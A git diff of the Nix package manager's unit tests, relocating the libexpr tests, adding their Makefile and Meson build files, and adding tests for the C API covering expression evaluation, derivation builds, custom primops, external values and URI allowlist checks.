ASSERT_FALSE(isAllowedURI("http://example.com//var/evil", allowed)); + ASSERT_FALSE(isAllowedURI("http://example.com//var/evil/foo", allowed)); + ASSERT_FALSE(isAllowedURI("http://var/evil", allowed)); + ASSERT_FALSE(isAllowedURI("http:///var/evil", allowed)); + ASSERT_FALSE(isAllowedURI("http://var/evil/", allowed)); + ASSERT_FALSE(isAllowedURI("file:///var/evi", allowed)); + ASSERT_FALSE(isAllowedURI("file:///var/evilo", allowed)); + ASSERT_FALSE(isAllowedURI("file:///var/evilo/", allowed)); + ASSERT_FALSE(isAllowedURI("file:///var/evilo/foo", allowed)); + ASSERT_FALSE(isAllowedURI("file:///", allowed)); + ASSERT_FALSE(isAllowedURI("file://", allowed)); +} + +TEST(nix_isAllowedURI, github_all) { + Strings allowed; + allowed.push_back("github:"); + ASSERT_TRUE(isAllowedURI("github:", allowed)); + ASSERT_TRUE(isAllowedURI("github:foo/bar", allowed)); + ASSERT_TRUE(isAllowedURI("github:foo/bar/feat-multi-bar", allowed)); + ASSERT_TRUE(isAllowedURI("github:foo/bar?ref=refs/heads/feat-multi-bar", allowed)); + ASSERT_TRUE(isAllowedURI("github://foo/bar", allowed)); + ASSERT_FALSE(isAllowedURI("https://github:443/foo/bar/archive/master.tar.gz", allowed)); + ASSERT_FALSE(isAllowedURI("file://github:foo/bar/archive/master.tar.gz", allowed)); + ASSERT_FALSE(isAllowedURI("file:///github:foo/bar/archive/master.tar.gz", allowed)); + ASSERT_FALSE(isAllowedURI("github", allowed)); +} + +TEST(nix_isAllowedURI, github_org) { + Strings allowed; + allowed.push_back("github:foo"); + ASSERT_FALSE(isAllowedURI("github:", allowed)); + ASSERT_TRUE(isAllowedURI("github:foo/bar", allowed)); + ASSERT_TRUE(isAllowedURI("github:foo/bar/feat-multi-bar", allowed)); + ASSERT_TRUE(isAllowedURI("github:foo/bar?ref=refs/heads/feat-multi-bar", allowed)); + ASSERT_FALSE(isAllowedURI("github://foo/bar", allowed)); + ASSERT_FALSE(isAllowedURI("https://github:443/foo/bar/archive/master.tar.gz", allowed)); + ASSERT_FALSE(isAllowedURI("file://github:foo/bar/archive/master.tar.gz", allowed)); + ASSERT_FALSE(isAllowedURI("file:///github:foo/bar/archive/master.tar.gz", allowed)); +} + +TEST(nix_isAllowedURI, non_scheme_colon) { + Strings allowed; + allowed.push_back("https://foo/bar:"); + ASSERT_TRUE(isAllowedURI("https://foo/bar:", allowed)); + ASSERT_TRUE(isAllowedURI("https://foo/bar:/baz", allowed)); + ASSERT_FALSE(isAllowedURI("https://foo/bar:baz", allowed)); +} + +} // namespace nix \ No newline at end of file diff --git a/src/libexpr/tests/json.cc b/tests/unit/libexpr/json.cc similarity index 93% rename from src/libexpr/tests/json.cc rename to tests/unit/libexpr/json.cc index f1ea1b197..f4cc118d6 100644 --- a/src/libexpr/tests/json.cc +++ b/tests/unit/libexpr/json.cc @@ -1,4 +1,4 @@ -#include "libexprtests.hh" +#include "tests/libexpr.hh" #include "value-to-json.hh" namespace nix { @@ -8,7 +8,7 @@ namespace nix { protected: std::string getJSONValue(Value& value) { std::stringstream ss; - PathSet ps; + NixStringContext ps; printValueAsJSON(state, true, value, noPos, ss, ps); return ss.str(); } @@ -62,7 +62,7 @@ namespace nix { // not supported by store 'dummy'" thrown in the test body. TEST_F(JSONValueTest, DISABLED_Path) { Value v; - v.mkPath("test"); + v.mkPath(state.rootPath(CanonPath("/test"))); ASSERT_EQ(getJSONValue(v), "\"/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x\""); } } /* namespace nix */ diff --git a/tests/unit/libexpr/local.mk b/tests/unit/libexpr/local.mk new file mode 100644 index 000000000..1617e2823 --- /dev/null +++ b/tests/unit/libexpr/local.mk @@ -0,0 +1,45 @@ +check: libexpr-tests_RUN + +programs += libexpr-tests + +libexpr-tests_NAME := libnixexpr-tests + +libexpr-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libexpr-tests.xml + +libexpr-tests_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libexpr-tests_INSTALL_DIR := $(checkbindir) +else + libexpr-tests_INSTALL_DIR := +endif + +libexpr-tests_SOURCES := \ + $(wildcard $(d)/*.cc) \ + $(wildcard $(d)/value/*.cc) \ + $(wildcard $(d)/flake/*.cc) + +libexpr-tests_EXTRA_INCLUDES = \ + -I tests/unit/libexpr-support \ + -I tests/unit/libstore-support \ + -I tests/unit/libutil-support \ + $(INCLUDE_libexpr) \ + $(INCLUDE_libexprc) \ + $(INCLUDE_libfetchers) \ + $(INCLUDE_libstore) \ + $(INCLUDE_libstorec) \ + $(INCLUDE_libutil) \ + $(INCLUDE_libutilc) + +libexpr-tests_CXXFLAGS += $(libexpr-tests_EXTRA_INCLUDES) + +libexpr-tests_LIBS = \ + libexpr-test-support libstore-test-support libutil-test-support \ + libexpr libexprc libfetchers libstore libstorec libutil libutilc + +libexpr-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock + +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + libexpr-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif diff --git a/tests/unit/libexpr/main.cc b/tests/unit/libexpr/main.cc new file mode 100644 index 000000000..e3412d9ef --- /dev/null +++ b/tests/unit/libexpr/main.cc @@ -0,0 +1,42 @@ +#include +#include +#include "globals.hh" +#include "logging.hh" + +using namespace nix; + +int main (int argc, char **argv) { + if (argc > 1 && std::string_view(argv[1]) == "__build-remote") { + printError("test-build-remote: not supported in libexpr unit tests"); + return 1; + } + + // Disable build hook. We won't be testing remote builds in these unit tests. If we do, fix the above build hook. + settings.buildHook = {}; + + #if __linux__ // should match the conditional around sandboxBuildDir declaration. + + // When building and testing nix within the host's Nix sandbox, our store dir will be located in the host's sandboxBuildDir, e.g.: + // Host + // storeDir = /nix/store + // sandboxBuildDir = /build + // This process + // storeDir = /build/foo/bar/store + // sandboxBuildDir = /build + // However, we have a rule that the store dir must not be inside the storeDir, so we need to pick a different sandboxBuildDir. + settings.sandboxBuildDir = "/test-build-dir-instead-of-usual-build-dir"; + #endif + + #if __APPLE__ + // Avoid this error, when already running in a sandbox: + // sandbox-exec: sandbox_apply: Operation not permitted + settings.sandboxMode = smDisabled; + setEnv("_NIX_TEST_NO_SANDBOX", "1"); + #endif + + // For pipe operator tests in trivial.cc + experimentalFeatureSettings.set("experimental-features", "pipe-operators"); + + ::testing::InitGoogleTest(&argc, argv); + return RUN_ALL_TESTS(); +} diff --git a/tests/unit/libexpr/meson.build b/tests/unit/libexpr/meson.build new file mode 100644 index 000000000..21c321334 --- /dev/null +++ b/tests/unit/libexpr/meson.build @@ -0,0 +1,92 @@ +project('nix-expr-tests', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +deps_private_maybe_subproject = [ + dependency('nix-expr'), + dependency('nix-expr-c'), + dependency('nix-expr-test-support'), +] +deps_public_maybe_subproject = [ +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +subdir('build-utils-meson/export-all-symbols') + +rapidcheck = dependency('rapidcheck') +deps_private += rapidcheck + +gtest = dependency('gtest') +deps_private += gtest + +gtest = dependency('gmock') +deps_private += gtest + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-expr.hh', + '-include', 'config-util.h', + '-include', 'config-store.h', + '-include', 'config-expr.h', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'derived-path.cc', + 'error_traces.cc', + 'eval.cc', + 'json.cc', + 'main.cc', + 'nix_api_expr.cc', + 'nix_api_external.cc', + 'nix_api_value.cc', + 'primops.cc', + 'search-path.cc', + 'trivial.cc', + 'value/context.cc', + 'value/print.cc', + 'value/value.cc', +) + +include_dirs = [include_directories('.')] + + +this_exe = executable( + meson.project_name(), + sources, + dependencies : deps_private_subproject + deps_private + deps_other, + include_directories : include_dirs, + # TODO: -lrapidcheck, see ../libutil-support/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + install : true, +) + +test( + meson.project_name(), + this_exe, + env : { + '_NIX_TEST_UNIT_DATA': meson.current_source_dir() / 'data', + }, + protocol : 'gtest', +) diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc new file mode 100644 index 000000000..8b97d6923 --- /dev/null +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -0,0 +1,404 @@ +#include "nix_api_store.h" +#include "nix_api_store_internal.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" +#include "nix_api_expr.h" +#include "nix_api_value.h" + +#include "tests/nix_api_expr.hh" +#include "tests/string_callback.hh" + +#include "gmock/gmock.h" +#include + +namespace nixC { + +TEST_F(nix_api_expr_test, nix_expr_eval_from_string) +{ + nix_expr_eval_from_string(nullptr, state, "builtins.nixVersion", ".", value); + nix_value_force(nullptr, state, value); + std::string result; + nix_get_string(nullptr, value, OBSERVE_STRING(result)); + + ASSERT_STREQ(PACKAGE_VERSION, result.c_str()); +} + +TEST_F(nix_api_expr_test, nix_expr_eval_add_numbers) +{ + nix_expr_eval_from_string(nullptr, state, "1 + 1", ".", value); + nix_value_force(nullptr, state, value); + auto result = nix_get_int(nullptr, value); + + ASSERT_EQ(2, result); +} + +TEST_F(nix_api_expr_test, nix_expr_eval_drv) +{ + auto expr = R"(derivation { name = "myname"; builder = "mybuilder"; system = "mysystem"; })"; + nix_expr_eval_from_string(nullptr, state, expr, ".", value); + ASSERT_EQ(NIX_TYPE_ATTRS, nix_get_type(nullptr, value)); + + EvalState * stateFn = nix_state_create(nullptr, nullptr, store); + nix_value * valueFn = nix_alloc_value(nullptr, state); + nix_expr_eval_from_string(nullptr, stateFn, "builtins.toString", ".", valueFn); + ASSERT_EQ(NIX_TYPE_FUNCTION, nix_get_type(nullptr, valueFn)); + + EvalState * stateResult = nix_state_create(nullptr, nullptr, store); + nix_value * valueResult = nix_alloc_value(nullptr, stateResult); + nix_value_call(ctx, stateResult, valueFn, value, valueResult); + ASSERT_EQ(NIX_TYPE_STRING, nix_get_type(nullptr, valueResult)); + + std::string p; + nix_get_string(nullptr, valueResult, OBSERVE_STRING(p)); + std::string pEnd = "-myname"; + ASSERT_EQ(pEnd, p.substr(p.size() - pEnd.size())); + + // Clean up + nix_gc_decref(nullptr, valueFn); + nix_state_free(stateFn); + + nix_gc_decref(nullptr, valueResult); + nix_state_free(stateResult); +} + +TEST_F(nix_api_expr_test, nix_build_drv) +{ + auto expr = R"(derivation { name = "myname"; + system = builtins.currentSystem; + builder = "/bin/sh"; + args = [ "-c" "echo foo > $out" ]; + })"; + nix_expr_eval_from_string(nullptr, state, expr, ".", value); + + nix_value * drvPathValue = nix_get_attr_byname(nullptr, value, state, "drvPath"); + std::string drvPath; + nix_get_string(nullptr, drvPathValue, OBSERVE_STRING(drvPath)); + + std::string p = drvPath; + std::string pEnd = "-myname.drv"; + ASSERT_EQ(pEnd, p.substr(p.size() - pEnd.size())); + + // NOTE: .drvPath should be usually be ignored. Output paths are more versatile. + // See https://github.com/NixOS/nix/issues/6507 + // Use e.g. nix_string_realise to realise the output. + StorePath * drvStorePath = nix_store_parse_path(ctx, store, drvPath.c_str()); + ASSERT_EQ(true, nix_store_is_valid_path(ctx, store, drvStorePath)); + + nix_value * outPathValue = nix_get_attr_byname(ctx, value, state, "outPath"); + std::string outPath; + nix_get_string(ctx, outPathValue, OBSERVE_STRING(outPath)); + + p = outPath; + pEnd = "-myname"; + ASSERT_EQ(pEnd, p.substr(p.size() - pEnd.size())); + ASSERT_EQ(true, drvStorePath->path.isDerivation()); + + StorePath * outStorePath = nix_store_parse_path(ctx, store, outPath.c_str()); + ASSERT_EQ(false, nix_store_is_valid_path(ctx, store, outStorePath)); + + nix_store_realise(ctx, store, drvStorePath, nullptr, nullptr); + auto is_valid_path = nix_store_is_valid_path(ctx, store, outStorePath); + ASSERT_EQ(true, is_valid_path); + + // Clean up + nix_store_path_free(drvStorePath); + nix_store_path_free(outStorePath); +} + +TEST_F(nix_api_expr_test, nix_expr_realise_context_bad_value) +{ + auto expr = "true"; + nix_expr_eval_from_string(ctx, state, expr, ".", value); + assert_ctx_ok(); + auto r = nix_string_realise(ctx, state, value, false); + ASSERT_EQ(nullptr, r); + ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); + ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("cannot coerce"))); +} + +TEST_F(nix_api_expr_test, nix_expr_realise_context_bad_build) +{ + auto expr = R"( + derivation { name = "letsbuild"; + system = builtins.currentSystem; + builder = "/bin/sh"; + args = [ "-c" "echo failing a build for testing purposes; exit 1;" ]; + } + )"; + nix_expr_eval_from_string(ctx, state, expr, ".", value); + assert_ctx_ok(); + auto r = nix_string_realise(ctx, state, value, false); + ASSERT_EQ(nullptr, r); + ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); + ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("failed with exit code 1"))); +} + +TEST_F(nix_api_expr_test, nix_expr_realise_context) +{ + // TODO (ca-derivations): add a content-addressed derivation output, which produces a placeholder + auto expr = R"( + '' + a derivation output: ${ + derivation { name = "letsbuild"; + system = builtins.currentSystem; + builder = "/bin/sh"; + args = [ "-c" "echo foo > $out" ]; + }} + a path: ${builtins.toFile "just-a-file" "ooh file good"} + a derivation path by itself: ${ + builtins.unsafeDiscardOutputDependency + (derivation { + name = "not-actually-built-yet"; + system = builtins.currentSystem; + builder = "/bin/sh"; + args = [ "-c" "echo foo > $out" ]; + }).drvPath} + '' + )"; + nix_expr_eval_from_string(ctx, state, expr, ".", value); + assert_ctx_ok(); + auto r = nix_string_realise(ctx, state, value, false); + assert_ctx_ok(); + ASSERT_NE(nullptr, r); + + auto s = std::string(nix_realised_string_get_buffer_start(r), nix_realised_string_get_buffer_size(r)); + + EXPECT_THAT(s, testing::StartsWith("a derivation output:")); + EXPECT_THAT(s, testing::HasSubstr("-letsbuild\n")); + EXPECT_THAT(s, testing::Not(testing::HasSubstr("-letsbuild.drv"))); + EXPECT_THAT(s, testing::HasSubstr("a path:")); + EXPECT_THAT(s, testing::HasSubstr("-just-a-file")); + EXPECT_THAT(s, testing::Not(testing::HasSubstr("-just-a-file.drv"))); + EXPECT_THAT(s, testing::Not(testing::HasSubstr("ooh file good"))); + EXPECT_THAT(s, testing::HasSubstr("a derivation path by itself:")); + EXPECT_THAT(s, testing::EndsWith("-not-actually-built-yet.drv\n")); + + std::vector names; + size_t n = nix_realised_string_get_store_path_count(r); + for (size_t i = 0; i < n; ++i) { + const StorePath * p = nix_realised_string_get_store_path(r, i); + ASSERT_NE(nullptr, p); + std::string name; + nix_store_path_name(p, OBSERVE_STRING(name)); + names.push_back(name); + } + std::sort(names.begin(), names.end()); + ASSERT_EQ(3, names.size()); + EXPECT_THAT(names[0], testing::StrEq("just-a-file")); + EXPECT_THAT(names[1], testing::StrEq("letsbuild")); + EXPECT_THAT(names[2], testing::StrEq("not-actually-built-yet.drv")); + + nix_realised_string_free(r); +} + +const char * SAMPLE_USER_DATA = "whatever"; + +static void +primop_square(void * user_data, nix_c_context * context, EvalState * state, nix_value ** args, nix_value * ret) +{ + assert(context); + assert(state); + assert(user_data == SAMPLE_USER_DATA); + auto i = nix_get_int(context, args[0]); + nix_init_int(context, ret, i * i); +} + +TEST_F(nix_api_expr_test, nix_expr_primop) +{ + PrimOp * primop = + nix_alloc_primop(ctx, primop_square, 1, "square", nullptr, "square an integer", (void *) SAMPLE_USER_DATA); + assert_ctx_ok(); + nix_value * primopValue = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_primop(ctx, primopValue, primop); + assert_ctx_ok(); + + nix_value * three = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_int(ctx, three, 3); + assert_ctx_ok(); + + nix_value * result = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_value_call(ctx, state, primopValue, three, result); + assert_ctx_ok(); + + auto r = nix_get_int(ctx, result); + ASSERT_EQ(9, r); +} + +static void +primop_repeat(void * user_data, nix_c_context * context, EvalState * state, nix_value ** args, nix_value * ret) +{ + assert(context); + assert(state); + assert(user_data == SAMPLE_USER_DATA); + + // Get the string to repeat + std::string s; + if (nix_get_string(context, args[0], OBSERVE_STRING(s)) != NIX_OK) + return; + + // Get the number of times to repeat + auto n = nix_get_int(context, args[1]); + if (nix_err_code(context) != NIX_OK) + return; + + // Repeat the string + std::string result; + for (int i = 0; i < n; ++i) + result += s; + + nix_init_string(context, ret, result.c_str()); +} + +TEST_F(nix_api_expr_test, nix_expr_primop_arity_2_multiple_calls) +{ + PrimOp * primop = + nix_alloc_primop(ctx, primop_repeat, 2, "repeat", nullptr, "repeat a string", (void *) SAMPLE_USER_DATA); + assert_ctx_ok(); + nix_value * primopValue = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_primop(ctx, primopValue, primop); + assert_ctx_ok(); + + nix_value * hello = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_string(ctx, hello, "hello"); + assert_ctx_ok(); + + nix_value * three = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_int(ctx, three, 3); + assert_ctx_ok(); + + nix_value * partial = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_value_call(ctx, state, primopValue, hello, partial); + assert_ctx_ok(); + + nix_value * result = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_value_call(ctx, state, partial, three, result); + assert_ctx_ok(); + + std::string r; + nix_get_string(ctx, result, OBSERVE_STRING(r)); + ASSERT_STREQ("hellohellohello", r.c_str()); +} + +TEST_F(nix_api_expr_test, nix_expr_primop_arity_2_single_call) +{ + PrimOp * primop = + nix_alloc_primop(ctx, primop_repeat, 2, "repeat", nullptr, "repeat a string", (void *) SAMPLE_USER_DATA); + assert_ctx_ok(); + nix_value * primopValue = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_primop(ctx, primopValue, primop); + assert_ctx_ok(); + + nix_value * hello = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_string(ctx, hello, "hello"); + assert_ctx_ok(); + + nix_value * three = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_int(ctx, three, 3); + assert_ctx_ok(); + + nix_value * result = nix_alloc_value(ctx, state); + assert_ctx_ok(); + NIX_VALUE_CALL(ctx, state, result, primopValue, hello, three); + assert_ctx_ok(); + + std::string r; + nix_get_string(ctx, result, OBSERVE_STRING(r)); + assert_ctx_ok(); + + ASSERT_STREQ("hellohellohello", r.c_str()); +} + +static void +primop_bad_no_return(void * user_data, nix_c_context * context, EvalState * state, nix_value ** args, nix_value * ret) +{ +} + +TEST_F(nix_api_expr_test, nix_expr_primop_bad_no_return) +{ + PrimOp * primop = + nix_alloc_primop(ctx, primop_bad_no_return, 1, "badNoReturn", nullptr, "a broken primop", nullptr); + assert_ctx_ok(); + nix_value * primopValue = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_primop(ctx, primopValue, primop); + assert_ctx_ok(); + + nix_value * three = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_int(ctx, three, 3); + assert_ctx_ok(); + + nix_value * result = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_value_call(ctx, state, primopValue, three, result); + ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); + ASSERT_THAT( + ctx->last_err, + testing::Optional( + testing::HasSubstr("Implementation error in custom function: return value was not initialized"))); + ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("badNoReturn"))); +} + +static void primop_bad_return_thunk( + void * user_data, nix_c_context * context, EvalState * state, nix_value ** args, nix_value * ret) +{ + nix_init_apply(context, ret, args[0], args[1]); +} +TEST_F(nix_api_expr_test, nix_expr_primop_bad_return_thunk) +{ + PrimOp * primop = + nix_alloc_primop(ctx, primop_bad_return_thunk, 2, "badReturnThunk", nullptr, "a broken primop", nullptr); + assert_ctx_ok(); + nix_value * primopValue = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_primop(ctx, primopValue, primop); + assert_ctx_ok(); + + nix_value * toString = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_expr_eval_from_string(ctx, state, "builtins.toString", ".", toString); + assert_ctx_ok(); + + nix_value * four = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_int(ctx, four, 4); + assert_ctx_ok(); + + nix_value * result = nix_alloc_value(ctx, state); + assert_ctx_ok(); + NIX_VALUE_CALL(ctx, state, result, primopValue, toString, four); + + ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); + ASSERT_THAT( + ctx->last_err, + testing::Optional( + testing::HasSubstr("Implementation error in custom function: return value must not be a thunk"))); + ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("badReturnThunk"))); +} + +TEST_F(nix_api_expr_test, nix_value_call_multi_no_args) +{ + nix_value * n = nix_alloc_value(ctx, state); + nix_init_int(ctx, n, 3); + assert_ctx_ok(); + + nix_value * r = nix_alloc_value(ctx, state); + nix_value_call_multi(ctx, state, n, 0, nullptr, r); + assert_ctx_ok(); + + auto rInt = nix_get_int(ctx, r); + assert_ctx_ok(); + ASSERT_EQ(3, rInt); +} +} // namespace nixC diff --git a/tests/unit/libexpr/nix_api_external.cc b/tests/unit/libexpr/nix_api_external.cc new file mode 100644 index 000000000..81ff285a4 --- /dev/null +++ b/tests/unit/libexpr/nix_api_external.cc @@ -0,0 +1,68 @@ +#include "nix_api_store.h" +#include "nix_api_store_internal.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" +#include "nix_api_expr.h" +#include "nix_api_expr_internal.h" +#include "nix_api_value.h" +#include "nix_api_external.h" + +#include "tests/nix_api_expr.hh" +#include "tests/string_callback.hh" + +#include + +namespace nixC { + +class MyExternalValueDesc : public NixCExternalValueDesc +{ +public: + MyExternalValueDesc(int x) + : _x(x) + { + print = print_function; + showType = show_type_function; + typeOf = type_of_function; + } + +private: + int _x; + static void print_function(void * self, nix_printer * printer) {} + + static void show_type_function(void * self, nix_string_return * res) {} + + static void type_of_function(void * self, nix_string_return * res) + { + MyExternalValueDesc * obj = static_cast(self); + + std::string type_string = "nix-external_x); + type_string += " )>"; + res->str = &*type_string.begin(); + } +}; + +TEST_F(nix_api_expr_test, nix_expr_eval_external) +{ + MyExternalValueDesc * external = new MyExternalValueDesc(42); + ExternalValue * val = nix_create_external_value(ctx, external, external); + nix_init_external(ctx, value, val); + + EvalState * stateResult = nix_state_create(nullptr, nullptr, store); + nix_value * valueResult = nix_alloc_value(nullptr, stateResult); + + EvalState * stateFn = nix_state_create(nullptr, nullptr, store); + nix_value * valueFn = nix_alloc_value(nullptr, stateFn); + + nix_expr_eval_from_string(nullptr, state, "builtins.typeOf", ".", valueFn); + + ASSERT_EQ(NIX_TYPE_EXTERNAL, nix_get_type(nullptr, value)); + + nix_value_call(ctx, state, valueFn, value, valueResult); + + std::string string_value; + nix_get_string(nullptr, valueResult, OBSERVE_STRING(string_value)); + ASSERT_STREQ("nix-external", string_value.c_str()); +} + +} diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc new file mode 100644 index 000000000..7fc8b4f64 --- /dev/null +++ b/tests/unit/libexpr/nix_api_value.cc @@ -0,0 +1,402 @@ +#include "nix_api_store.h" +#include "nix_api_store_internal.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" +#include "nix_api_expr.h" +#include "nix_api_value.h" +#include "nix_api_expr_internal.h" + +#include "tests/nix_api_expr.hh" +#include "tests/string_callback.hh" + +#include "gmock/gmock.h" +#include +#include +#include + +namespace nixC { + +TEST_F(nix_api_expr_test, as_nix_value_ptr) +{ + // nix_alloc_value casts nix::Value to nix_value + // It should be obvious from the decl that that works, but if it doesn't, + // the whole implementation would be utterly broken. + ASSERT_EQ(sizeof(nix::Value), sizeof(nix_value)); +} + +TEST_F(nix_api_expr_test, nix_value_get_int_invalid) +{ + ASSERT_EQ(0, nix_get_int(ctx, nullptr)); + assert_ctx_err(); + ASSERT_EQ(0, nix_get_int(ctx, value)); + assert_ctx_err(); +} + +TEST_F(nix_api_expr_test, nix_value_set_get_int) +{ + int myInt = 1; + nix_init_int(ctx, value, myInt); + + ASSERT_EQ(myInt, nix_get_int(ctx, value)); + ASSERT_STREQ("an integer", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_INT, nix_get_type(ctx, value)); +} + +TEST_F(nix_api_expr_test, nix_value_set_get_float_invalid) +{ + ASSERT_DOUBLE_EQ(0.0, nix_get_float(ctx, nullptr)); + assert_ctx_err(); + ASSERT_DOUBLE_EQ(0.0, nix_get_float(ctx, value)); + assert_ctx_err(); +} + +TEST_F(nix_api_expr_test, nix_value_set_get_float) +{ + double myDouble = 1.0; + nix_init_float(ctx, value, myDouble); + + ASSERT_DOUBLE_EQ(myDouble, nix_get_float(ctx, value)); + ASSERT_STREQ("a float", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_FLOAT, nix_get_type(ctx, value)); +} + +TEST_F(nix_api_expr_test, nix_value_set_get_bool_invalid) +{ + ASSERT_EQ(false, nix_get_bool(ctx, nullptr)); + assert_ctx_err(); + ASSERT_EQ(false, nix_get_bool(ctx, value)); + assert_ctx_err(); +} + +TEST_F(nix_api_expr_test, nix_value_set_get_bool) +{ + bool myBool = true; + nix_init_bool(ctx, value, myBool); + + ASSERT_EQ(myBool, nix_get_bool(ctx, value)); + ASSERT_STREQ("a Boolean", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_BOOL, nix_get_type(ctx, value)); +} + +TEST_F(nix_api_expr_test, nix_value_set_get_string_invalid) +{ + std::string string_value; + ASSERT_EQ(NIX_ERR_UNKNOWN, nix_get_string(ctx, nullptr, OBSERVE_STRING(string_value))); + assert_ctx_err(); + ASSERT_EQ(NIX_ERR_UNKNOWN, nix_get_string(ctx, value, OBSERVE_STRING(string_value))); + assert_ctx_err(); +} + +TEST_F(nix_api_expr_test, nix_value_set_get_string) +{ + std::string string_value; + const char * myString = "some string"; + nix_init_string(ctx, value, myString); + + nix_get_string(ctx, value, OBSERVE_STRING(string_value)); + ASSERT_STREQ(myString, string_value.c_str()); + ASSERT_STREQ("a string", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_STRING, nix_get_type(ctx, value)); +} + +TEST_F(nix_api_expr_test, nix_value_set_get_null_invalid) +{ + ASSERT_EQ(NULL, nix_get_typename(ctx, value)); + assert_ctx_err(); +} + +TEST_F(nix_api_expr_test, nix_value_set_get_null) +{ + nix_init_null(ctx, value); + + ASSERT_STREQ("null", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_NULL, nix_get_type(ctx, value)); +} + +TEST_F(nix_api_expr_test, nix_value_set_get_path_invalid) +{ + ASSERT_EQ(nullptr, nix_get_path_string(ctx, nullptr)); + assert_ctx_err(); + ASSERT_EQ(nullptr, nix_get_path_string(ctx, value)); + assert_ctx_err(); +} +TEST_F(nix_api_expr_test, nix_value_set_get_path) +{ + const char * p = "/nix/store/40s0qmrfb45vlh6610rk29ym318dswdr-myname"; + nix_init_path_string(ctx, state, value, p); + + ASSERT_STREQ(p, nix_get_path_string(ctx, value)); + ASSERT_STREQ("a path", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_PATH, nix_get_type(ctx, value)); +} + +TEST_F(nix_api_expr_test, nix_build_and_init_list_invalid) +{ + ASSERT_EQ(nullptr, nix_get_list_byidx(ctx, nullptr, state, 0)); + assert_ctx_err(); + ASSERT_EQ(0, nix_get_list_size(ctx, nullptr)); + assert_ctx_err(); + + ASSERT_EQ(nullptr, nix_get_list_byidx(ctx, value, state, 0)); + assert_ctx_err(); + ASSERT_EQ(0, nix_get_list_size(ctx, value)); + assert_ctx_err(); +} + +TEST_F(nix_api_expr_test, nix_build_and_init_list) +{ + int size = 10; + ListBuilder * builder = nix_make_list_builder(ctx, state, size); + + nix_value * intValue = nix_alloc_value(ctx, state); + nix_value * intValue2 = nix_alloc_value(ctx, state); + + // `init` and `insert` can be called in any order + nix_init_int(ctx, intValue, 42); + nix_list_builder_insert(ctx, builder, 0, intValue); + nix_list_builder_insert(ctx, builder, 1, intValue2); + nix_init_int(ctx, intValue2, 43); + + nix_make_list(ctx, builder, value); + nix_list_builder_free(builder); + + ASSERT_EQ(42, nix_get_int(ctx, nix_get_list_byidx(ctx, value, state, 0))); + ASSERT_EQ(43, nix_get_int(ctx, nix_get_list_byidx(ctx, value, state, 1))); + ASSERT_EQ(nullptr, nix_get_list_byidx(ctx, value, state, 2)); + ASSERT_EQ(10, nix_get_list_size(ctx, value)); + + ASSERT_STREQ("a list", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_LIST, nix_get_type(ctx, value)); + + // Clean up + nix_gc_decref(ctx, intValue); +} + +TEST_F(nix_api_expr_test, nix_build_and_init_attr_invalid) +{ + ASSERT_EQ(nullptr, nix_get_attr_byname(ctx, nullptr, state, 0)); + assert_ctx_err(); + ASSERT_EQ(nullptr, nix_get_attr_byidx(ctx, nullptr, state, 0, nullptr)); + assert_ctx_err(); + 